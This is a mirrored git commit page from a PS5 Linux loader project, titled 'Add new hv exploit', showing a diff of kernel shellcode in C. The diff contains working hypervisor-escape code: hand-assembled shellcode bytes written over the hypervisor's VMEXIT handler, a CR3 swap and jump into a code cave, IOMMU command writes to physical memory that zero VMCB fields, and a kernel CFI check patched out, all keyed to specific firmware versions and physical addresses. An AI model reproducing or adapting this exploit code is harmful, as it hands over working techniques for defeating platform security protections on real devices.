ps5-linux/ps5-linux-loader
1
0
Fork 0
mirror of https://github.com/ps5-linux/ps5-linux-loader.git synced 2026-07-15 21:42:27 +00:00
Code Issues Packages Projects Releases Wiki Activity

Add new hv exploit.

Browse Source
This commit is contained in:
Andy Nguyen
2026-05-17 11:54:10 +02:00
parent fbe5ae0c32
commit eb886e9467
22 changed files with 640 additions and 186 deletions
Download Patch File Download Diff File Expand all files Collapse all files

2
shellcode_kernel/Makefile
View File

@@ -7,7 +7,7 @@ CC = gcc
LD = ld
OBJCOPY = objcopy
endif
CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -fcf-protection=none -m64
CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -fcf-protection=none -mno-sse -mno-sse2 -m64
LDFLAGS = -T linker.ld -Wl,--no-warn-rwx-segments
TARGET = shellcode_kernel.elf
TEXT_BIN = shellcode_kernel.bin

75
shellcode_kernel/boot_linux.c
View File

@@ -15,6 +15,25 @@ int (*mp3_invoke)(int cmd_id, void *req, void *rsp) = NULL;
uint64_t g_vbios;
typedef struct {
uint64_t flags;
uint64_t addr;
uint64_t size;
} __attribute__((packed)) SceSblHvShmTmrPtState;
typedef uint64_t SceSblHvShmTmrIdBmp;
typedef uint16_t SceSblHvShmTmrPtIdBmp;
typedef struct {
uint32_t sig;
uint32_t ver;
SceSblHvShmTmrPtIdBmp tmrMapPts[64];
SceSblHvShmTmrIdBmp tmrOvlpIds[64];
SceSblHvShmTmrPtState tmrPtStates[64];
uint32_t nmiCounts[16];
uint8_t reserved[64];
} __attribute__((packed)) SceSblHvShm;
typedef struct {
uint8_t lanenum;
uint32_t rate;
@@ -57,6 +76,15 @@ static inline uint64_t vmmcall(uint64_t nr, uint64_t a0, uint64_t a1,
return ret;
}
static uint64_t get_hv_shm(void) {
if (args.fw_version >= 0x0500 && args.fw_version < 0x0600) {
return 0x62a01000;
} else if (args.fw_version >= 0x0600 && args.fw_version < 0x0650) {
return 0x62a22000;
}
return -1;
}
static int dp_enable_link_phy(int lanenum, int linkrate) {
struct dig_transmitter_control_parameters_v1_6 params = {};
params.phyid = 0;
@@ -108,7 +136,40 @@ static void install_hv_code(void) {
shellcode_hv_bin_len);
}
void patch_hv(void) {
// Jump to shellcode final identity mapping
uint8_t shellcode_jmp[] = {0x48, 0xC7, 0xC0, 0xAA,
0xAA, 0xAA, 0xAA, // mov rax, 0xAAAAAAAA
0xFF, 0xE0}; // jmp rax
// Update code cave in hv 1:1 region
*(uint32_t *)(&shellcode_jmp[3]) = (uint32_t)args.hv_code_cave_pa;
// Just patch the VMEXIT handler directly, avoiding all checks
memcpy((void *)PHYS_TO_DMAP(args.hv_handle_vmexit_pa), shellcode_jmp,
sizeof(shellcode_jmp));
uint8_t shellcode_identity_and_jmp[] = {
0x48, 0xB8, 0xAA, 0xAA, 0xAA,
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // movabs rax, 0xAAAAAAAAAAAAAAAA
0x0F, 0x22, 0xD8, // mov cr3, rax
0x48, 0xB8, 0xAA, 0xAA, 0xAA,
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // movabs rax, 0xAAAAAAAAAAAAAAAA
0xFF, 0xE0 // jmp rax
};
// Update CR3 PA (from config)
*(uint64_t *)(&shellcode_identity_and_jmp[2]) = cave_hv_paging;
// Update HV shellcode cave
*(uint64_t *)(&shellcode_identity_and_jmp[15]) = cave_hv_code;
// Install shellcode to update CR3 and jump to main HV shellcode
memcpy((void *)PHYS_TO_DMAP(args.hv_code_cave_pa), shellcode_identity_and_jmp,
sizeof(shellcode_identity_and_jmp));
}
void boot_linux(void) {
patch_hv();
// Common bootloader code
install_hv_code();
@@ -126,6 +187,20 @@ void boot_linux(void) {
// Copy bzImage and initrd into contiguous memory.
memcpy(&info, (void *)args.linux_info_va, sizeof(struct linux_info));
info.n_tmrs = 0;
if (args.fw_version >= 0x0500 && args.fw_version < 0x0650) {
SceSblHvShm *shm = (SceSblHvShm *)PHYS_TO_DMAP(get_hv_shm());
for (int i = 0; i < 64; i++) {
if (shm->tmrPtStates[i].flags & 1) {
info.tmrs[info.n_tmrs].start = shm->tmrPtStates[i].addr;
info.tmrs[info.n_tmrs].end = shm->tmrPtStates[i].addr + shm->tmrPtStates[i].size;
printf("tmr: %lx-%lx\n", info.tmrs[info.n_tmrs].start, info.tmrs[info.n_tmrs].end);
info.n_tmrs++;
}
}
}
uintptr_t bzimage = info.bzimage;
uintptr_t initrd = info.initrd;

79
shellcode_kernel/hv_defeat_0304.c
View File

@@ -8,9 +8,15 @@ uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa,
uint32_t (*hv_iommu_wait_completion)(void);
int hv_defeat_0304(volatile shellcode_kernel_args *args_ptr) {
uint64_t iommu_cb2_pa = vtophys(args_ptr->dmap_base, args_ptr->iommu_cb2_va);
uint64_t iommu_cb3_pa = vtophys(args_ptr->dmap_base, args_ptr->iommu_cb3_va);
uint64_t iommu_eb_pa = vtophys(args_ptr->dmap_base, args_ptr->iommu_eb_va);
uint64_t softc = *(uint64_t *)args_ptr->iommu_softc;
uint64_t mmio_va = *(uint64_t *)(softc + IOMMU_SC_MMIO_VA);
uint64_t cb2_va = *(uint64_t *)(softc + IOMMU_SC_CB2_PTR);
uint64_t cb3_va = *(uint64_t *)(softc + IOMMU_SC_CB3_PTR);
uint64_t eb_va = *(uint64_t *)(softc + IOMMU_SC_EB_PTR);
uint64_t iommu_cb2_pa = vtophys(args_ptr->dmap_base, cb2_va);
uint64_t iommu_cb3_pa = vtophys(args_ptr->dmap_base, cb3_va);
uint64_t iommu_eb_pa = vtophys(args_ptr->dmap_base, eb_va);
uint64_t unk;
int n_devices;
@@ -52,55 +58,26 @@ int hv_defeat_0304(volatile shellcode_kernel_args *args_ptr) {
return 0;
}
void patch_hv_0304(void) {
// Jump to shellcode final identity mapping
uint8_t shellcode_jmp[] = {0x48, 0xC7, 0xC0, 0xAA,
0xAA, 0xAA, 0xAA, // mov rax, 0xAAAAAAAA
0xFF, 0xE0}; // jmp rax
// Update code cave in hv 1:1 region
*(uint32_t *)(&shellcode_jmp[3]) = (uint32_t)args.hv_code_cave_pa;
// Just patch the VMEXIT handler directly, avoiding all checks
memcpy((void *)PHYS_TO_DMAP(args.hv_handle_vmexit_pa), shellcode_jmp,
sizeof(shellcode_jmp));
uint8_t shellcode_identity_and_jmp[] = {
0x48, 0xB8, 0xAA, 0xAA, 0xAA,
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // movabs rax, 0xAAAAAAAAAAAAAAAA
0x0F, 0x22, 0xD8, // mov cr3, rax
0x48, 0xB8, 0xAA, 0xAA, 0xAA,
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // movabs rax, 0xAAAAAAAAAAAAAAAA
0xFF, 0xE0 // jmp rax
};
// Update CR3 PA (from config)
*(uint64_t *)(&shellcode_identity_and_jmp[2]) = cave_hv_paging;
// Update HV shellcode cave
*(uint64_t *)(&shellcode_identity_and_jmp[15]) = cave_hv_code;
// Install shellcode to update CR3 and jump to main HV shellcode
memcpy((void *)PHYS_TO_DMAP(args.hv_code_cave_pa), shellcode_identity_and_jmp,
sizeof(shellcode_identity_and_jmp));
}
__attribute__((noinline, optimize("O0"))) void
iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd) {
uint64_t curr_tail =
*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8);
uint64_t softc = *(uint64_t *)args_ptr->iommu_softc;
uint64_t mmio_va = *(uint64_t *)(softc + IOMMU_SC_MMIO_VA);
uint64_t cb2_va = *(uint64_t *)(softc + IOMMU_SC_CB2_PTR);
uint64_t curr_tail = *((uint64_t *)mmio_va + IOMMU_MMIO_CB_TAIL / 8);
uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & IOMMU_CB_MASK;
uint64_t *cmd_buffer = (uint64_t *)args_ptr->iommu_cb2_va + curr_tail / 8;
uint64_t *cmd_buffer = (uint64_t *)cb2_va + curr_tail / 8;
cmd_buffer[0] = cmd[0];
cmd_buffer[1] = cmd[1];
__asm__ volatile("" : : : "memory");
*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8) = next_tail;
*((uint64_t *)mmio_va + IOMMU_MMIO_CB_TAIL / 8) = next_tail;
while (*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_HEAD / 8) !=
*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8))
while (*((uint64_t *)mmio_va + IOMMU_MMIO_CB_HEAD / 8) !=
*((uint64_t *)mmio_va + IOMMU_MMIO_CB_TAIL / 8))
;
}
@@ -115,10 +92,28 @@ iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa,
iommu_submit_cmd(args_ptr, (uint64_t *)cmd);
}
static uint64_t get_vmcb(volatile shellcode_kernel_args *args_ptr, int core) {
switch (args_ptr->fw_version) {
case 0x0300:
case 0x0310:
case 0x0320:
case 0x0321:
return (uint64_t)0x6290B000 + (uint64_t)core * 0x3000;
case 0x0400:
case 0x0402:
case 0x0403:
case 0x0450:
case 0x0451:
return (uint64_t)0x62A05000 + (uint64_t)core * 0x3000;
default:
return -1;
}
}
__attribute__((noinline, optimize("O0"))) void
patch_vmcb(volatile shellcode_kernel_args *args_ptr) {
for (int i = 0; i < 16; i++) {
iommu_write8_pa(args_ptr, args_ptr->vmcb[i] + 0x90, 0);
iommu_write8_pa(args_ptr, get_vmcb(args_ptr, i) + 0x90, 0);
}
}

7
shellcode_kernel/hv_defeat_0304.h
View File

@@ -8,7 +8,6 @@ extern uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa,
extern uint32_t (*hv_iommu_wait_completion)(void);
int hv_defeat_0304(volatile shellcode_kernel_args *args_ptr);
void patch_hv_0304(void);
// tmr via ecam b0d18f2
#ifndef ECAM_B0D18F2
@@ -39,6 +38,12 @@ int tmr_disable(uint64_t dmap);
#define IOMMU_CB_MASK (IOMMU_CB_SIZE - 1)
#define IOMMU_CMD_ENTRY_SIZE 0x10
// IOMMU softc field offsets
#define IOMMU_SC_MMIO_VA 0x40
#define IOMMU_SC_CB2_PTR 0x78
#define IOMMU_SC_CB3_PTR 0x80
#define IOMMU_SC_EB_PTR 0x60b90
// Submit a single 16-byte command and wait for completion
void iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd);
// Write 8 bytes to a physical address using IOMMU completion wait store

13
shellcode_kernel/main.c
View File

@@ -27,18 +27,19 @@ __attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,
if ((0x0300 <= args_ptr->fw_version) && (args_ptr->fw_version < 0x0500)) {
if (hv_defeat_0304(args_ptr))
return -1;
// Now we can R/W on .text
init_global_pointers(args_ptr);
patch_hv_0304();
} else if ((0x0500 <= args_ptr->fw_version) &&
(args_ptr->fw_version < 0x0650)) {
// escape_hv_0506();
// Now we can R/W on .text
// init_global_pointers(args_ptr);
// Already escaped.
} else {
return 0;
}
// Now we can R/W on .text
init_global_pointers(args_ptr);
// Disable CFI to allow smp_rendezvous.
*(uint8_t *)args_ptr->kernel_cfi_check = 0xC3;
boot_linux();
printf("Linux prepared OK\n");

9
shellcode_kernel/shellcode_kernel_args.h
View File

@@ -10,22 +10,17 @@ typedef struct {
uint64_t kdata;
uint64_t dmap_base;
uint64_t fun_printf;
uint64_t fun_vtophys;
uint64_t fun_hv_iommu_set_buffers;
uint64_t fun_hv_iommu_wait_completion;
uint64_t fun_acpi_set_fw_waking_vector;
uint64_t fun_smp_rendezvous;
uint64_t fun_smp_no_rendevous_barrier;
uint64_t fun_transmitter_control;
uint64_t fun_mp3_initialize;
uint64_t fun_mp3_invoke;
uint64_t g_vbios;
uint64_t iommu_mmio_va;
uint64_t iommu_cb2_va;
uint64_t iommu_cb3_va;
uint64_t iommu_eb_va;
uint64_t vmcb[16];
uint64_t iommu_softc;
uint64_t kernel_uart_override;
uint64_t kernel_cfi_check;
uint64_t hv_handle_vmexit_pa;
uint64_t hv_code_cave_pa;
uint64_t linux_info_va; // To relocate by kernel shellcode